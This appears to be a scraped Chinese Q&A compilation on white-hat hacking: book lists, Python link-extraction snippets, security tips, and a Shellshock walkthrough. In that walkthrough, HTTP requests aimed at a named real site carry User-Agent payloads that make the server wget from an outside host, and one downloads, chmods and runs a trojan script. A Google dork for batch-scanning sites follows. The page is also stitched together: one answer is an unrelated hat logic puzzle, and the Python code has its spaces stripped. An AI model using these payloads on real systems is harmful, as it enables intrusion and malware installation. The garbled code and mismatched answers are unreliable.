pythonfreebuf
A. 如何成為一名白帽子
不知道你是否知道信息安全媒體FreeBuf呢？每天上面都會有最新的安全資訊和一些滲透測試的技術文章分享，可以作為學習補充。
關於信安書籍，推薦 《社會工程：安全體系中的人性漏洞》
《Android應用安全防護和逆向分析》
《逆向工程核心原理》
《Metasploit滲透測試魔鬼訓練營》
《鳥哥linux的私房菜》（第三版）
《Linux二進制分析》
《網路空間安全實戰基礎》
《python絕技：運用Python成為頂級黑客》
《白帽子講web安全》
《web前端黑客技術解密》
B. Python提取網頁鏈接和標題
提取所有鏈接應該用循環：
urls = driver.find_elements_by_xpath("//a")
for url in urls:
print(url.get_attribute("href"))如果get_attribute方法報錯應該是沒有找到a標簽對象，如果確定是有的話，可能是頁面載入比較慢還沒載入出來，selenium默認是不會等待對象出現的，需要在找對象前加一些等待時間；另外如果頁面上有iframe的話需要先切換進去才能找到裡面的對象。
C. 自學成為一位厲害的白帽子都需要什麼知識
他們三人頭上各帶的都是白帽子推理過程：（推理的關鍵：躊躇了一會兒,覺得為難）三名學生分別標識為甲、乙、丙.甲學生這樣推理：如果我頭上戴的是黑帽子,那麼乙看到我頭上的黑帽子,他也假設自己頭上是黑帽子,如果我們兩人假設都正確,那麼丙看到的是兩頂黑帽子.這時丙應該立即說出自己頭上是白帽子.但是丙猶豫了,這說明丙看到的不是兩頂黑帽子.在這種情況下,如果我頭上是黑帽子的假設成立,那麼乙看到丙的猶豫,便知道自己頭上不是黑帽子.所以乙應該立即說出自己自己頭上是白帽子.但乙也猶豫了.這說明我頭上不是黑帽子,應該是白帽子.其餘兩人推理同甲.
D. 黑客分為哪幾個等級
黑客的等級可以用下面7個層次來說明：
Level 1——愣頭青【百萬人】：會使用安全工具，只能簡單掃描、破譯密碼
Level 2——系統管理員【上萬人】：善用安全工具，特別熟悉系統及網路
Level 3——大公司的開發人員或核心安全公司大牛【幾千人】：對操作系統特別熟悉，開始開發代碼，寫自己的掃描器
Level 4——能找到並利用漏洞【幾百人】：自己能找漏洞、自己找0day並且寫exp利用漏洞的；對系統做挖掘漏洞的協議測試
Level 5——高水平【少於百人】：防禦和構建系統的人
Level 6——精英級【幾十人到十幾人】：對操作系統的理解很深入
Level 7——大牛牛【寥寥無幾】：馬克·扎克伯格、艾伯特·愛因斯坦等改變世界的人
E. 學習網路安全需要哪些基礎知識
一些典型的網路安全問題，可以來梳理一下：
IP安全：主要的攻擊方式有被動攻擊的網路竊聽，主動攻擊的IP欺騙（報文偽造、篡改）和路由攻擊（中間人攻擊）；
2. DNS安全：這個大家應該比較熟悉，修改DNS的映射表，誤導用戶的訪問流量；
3. DoS攻擊：單一攻擊源發起的拒絕服務攻擊，主要是佔用網路資源，強迫目標崩潰，現在更為流行的其實是DDoS，多個攻擊源發起的分布式拒絕攻擊；
《計算機基礎》、《計算機組成原理》、《計算機網路》 是三本關於計算機基礎的書籍，強烈推薦給你，看完之後可以對計算機的東西有個初步的了解。
拓展資料：
1、上網前可以做那些事情來確保上網安全？
首先，你需要安裝個人防火牆，利用隱私控制特性，你可以選擇哪些信息需要保密，而不會不慎把這些信息發送到不安全的網站。這樣，還可以防止網站伺服器在你不察覺的情況下跟蹤你的電子郵件地址和其他個人信息。其次,請及時安裝系統和其它軟體的補丁和更新。基本上越早更新,風險越小。防火牆的數據也要記得及時更新。
2、如何防止黑客攻擊？
首先，使用個人防火牆防病毒程序以防黑客攻擊和檢查黑客程序（一個連接外部伺服器並將你的信息傳遞出去的軟體）。個人防火牆能夠保護你的計算機和個人數據免受黑客入侵，防止應用程序自動連接到網站並向網站發送信息。
其次，在不需要文件和列印共享時，關閉這些功能。文件和列印共享有時是非常有用的功能，但是這個特性也會將你的計算機暴露給尋找安全漏洞的黑客。一旦進入你的計算機，黑客就能夠竊取你的個人信息。
3、如何防止電腦中毒？
首先，不要打開來自陌生人的電子郵件附件或打開及時通訊軟體傳來的文件。這些文件可能包含一個特洛伊木馬程序，該程序使得黑客能夠訪問你的文檔，甚至控制你的外設，你還應當安裝一個防病毒程序保護你免受病毒、特洛伊木馬程序和蠕蟲侵害。
4、瀏覽網頁時時如何確保信息安全？
採用匿名方式瀏覽，你在登錄網站時會產生一種叫cookie（即臨時文件，可以保存你瀏覽網頁的痕跡）的信息存儲器，許多網站會利用cookie跟蹤你在互聯網上的活動。
你可以在使用瀏覽器的時候在參數選項中選擇關閉計算機接收cookie的選項。（打開 IE瀏覽器，點擊 「工具」—「Internet選項」， 在打開的選項中，選擇「隱私」，保持「Cookies」該復選框為未選中狀態，點擊按鈕"確定"）
5、網上購物時如何確保你的信息安全？
網上購物時，確定你採用的是安全的連接方式。你可以通過查看瀏覽器窗口角上的閉鎖圖標是否關閉來確定一個連接是否安全。在進行任何的交易或發送信息之前閱讀網站的隱私保護政策。因為有些網站會將你的個人信息出售給第三方。在線時不要向任何人透露個人信息和密碼。
F. Python提取網頁鏈接和標題
#coding=utf-8
importurllib
url="http://www..com/"
title=""
flag="<title>"
res=urllib.urlopen(url).readlines()
forlineinres:
ifflaginline:
start=line.find(flag)
end=line.find("</title>")
title=line[start+len(flag):end]
break
print"標題:",title
鏈接你自己對著標題的處理方法改改就行了
G. 想成為白帽子需要學些什麼最近在看《白帽子講web安全》，可是發現自己看不懂，學校有在學web編程
1、學習基本的網路編程語言，比如html
2、學習腳本編程語言，比如python，js
2、學習網路協議，主要是應用層協議http等
3、學習了以上三點之後，繼續學習掌握基本的web攻擊手段和防護原理，可參考刺總的《白帽子講web安全》
4、了解滲透流程，比如踩點、嗅探等
5、熟悉主流web滲透工具，建議可以安裝kali操作系統，裡面都有集成
希望對你有幫助。
H. 如何編寫burpsuite聯動sqlmap的插件
burpsuite和sqlmap是滲透測試中最常用到的兩大神器。最中意的功能是利用burpsuite攔截http請求，然後用sqlmap的r參數讀取。但每次重復這個動作有點煩，特別是Mac下默認不能右擊新建文件。所以一直在找聯動burpsuite和sqlmap的插件。在找到的方案中，gason已經很久沒更新了；freebuf發的這個插件很不錯，但是不適配Mac；比較好的是bapp中的co2，但是調用的不是sqlmap的r參數，而是u參數，無法實現對http請求的全部利用。趁著有時間，自己用Python開發了一個
I. 聊聊有哪些自學編程的網站
洛谷網路科技有限公司，是一個練習各種語言編程的絕佳平台，如果有任何不懂的地方，可以點擊題解查看思路。
J. bash遠程命令執行漏洞 怎麼修復
從昨天開始，這個從澳大利亞遠渡重洋而來的BASH遠程命令執行漏洞就沸騰了整個FreeBuf，大家都在談論，「互聯網的心臟又出血了」，可是，親，到底怎麼對網站進行測試？下面這段腳本
$ env x=『() { :;}; echo vulnerable' bash -c "echo this is a test"
真的如各路大神們說的這樣嗎？
它與「心臟出血」漏洞不同，「心臟出血」只能藉助竊取用戶電腦信息，而bash 漏洞允許黑客遠程式控制制電腦，拿到系統最高許可權！其方法利用就更簡單了——復制/粘貼一行命令代碼即可！
Bash漏洞為什麼能夠執行
Bash漏洞的原理：
BASH除了可以將shell變數導出為環境變數，還可以將shell函數導出為環境變數！當前版本的bash通過以函數名作為環境變數名，以「（）{」開頭的字串作為環境變數的值來將函數定義導出為環境變數。
此次爆出的漏洞在於BASH處理這樣的「函數環境變數」的時候，並沒有以函數結尾「}」為結束，而是一直執行其後的shell命令。
簡單地說就是，Bash腳本在解析某些特殊字元串時出現邏輯錯誤導致可以執行後面的命令。
Bash漏洞與遠程執行有啥聯系
看到上面的解釋，很多童鞋都理解成了本地的漏洞，然後很多人又覺得，本地有啥可以利用的，於是就忽略了這個神級漏洞的存在。我想說的是，這個漏洞，利用熱度可以媲美當年的MS08-067，威力雖然弱了點，但遠程式控制制電腦還是可以的。
首先解釋一下cgi腳本。很多網站類似下面的鏈接：
GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
後台不僅僅用python、Perl來解釋執行並反饋給客戶端Response，當然還可以換做bash腳本來解釋執行提交上來的GET/POST請求。所以，理論上，你在HTTP請求中插入一個Bash命令，比如
() { :;}; wget http://www.myvps.org/testvul.sh
如果伺服器的Bash解釋器具有這個漏洞，那麼在解釋上面這這句話的時候就會執行wget請求，將一個惡意的testvul.sh文件下載到這個伺服器，那為何說要放在HTTP頭部呢？比如：
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www..com
Connection: keep-alive
這是因為這個漏洞是bash解釋器在解釋某些特殊的變數時才可以觸發的：
在於BASH處理以「（）{」開頭的「函數環境變數」的時候，並沒有以函數結尾「}」為結束，而是一直執行其後的shell命令
通過自定義這些參數的值為「函數環境變數」的形式，就可以觸發後面的命令，惡意的客戶僅需要發送特殊構造的HTTP請求就可以使伺服器執行特定的命令（命令的許可權和解釋HTTP請求的Bash腳本環境相同）。
實際測試中，我的構造的測試請求：
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www..com
Connection: keep-alive
過程是這樣的：
我發送GET請求–>目標伺服器cgi路徑
目標伺服器解析這個get請求，碰到UserAgent後面的參數，Bash解釋器就執行了後面的命令
目標伺服器wget–>我的myvps.org
我的vps記錄下這個訪問的IP地址
然後查看我的myvps.org伺服器的訪問記錄，就可以確定目標有沒有去訪問，如果訪問了，那麼，很好，它是有漏洞的。下面是我的VPS接收到的wget請求訪問的日誌：
大神是這樣測試漏洞的
當然，你也可以這樣構造：
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www..com
Connection: keep-alive
實際上執行了下面三句：
/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh
你會發現，腳本就執行了，這就是Bash漏洞利用測試的精髓。
當然，你可以利用批量Google搜索：
filetype:cgi inurl:cgi-bin site:jp
然後批量提交類似的GET請求，你就能做到批量測試了。測試表明，500個url里有6-8個有bash漏洞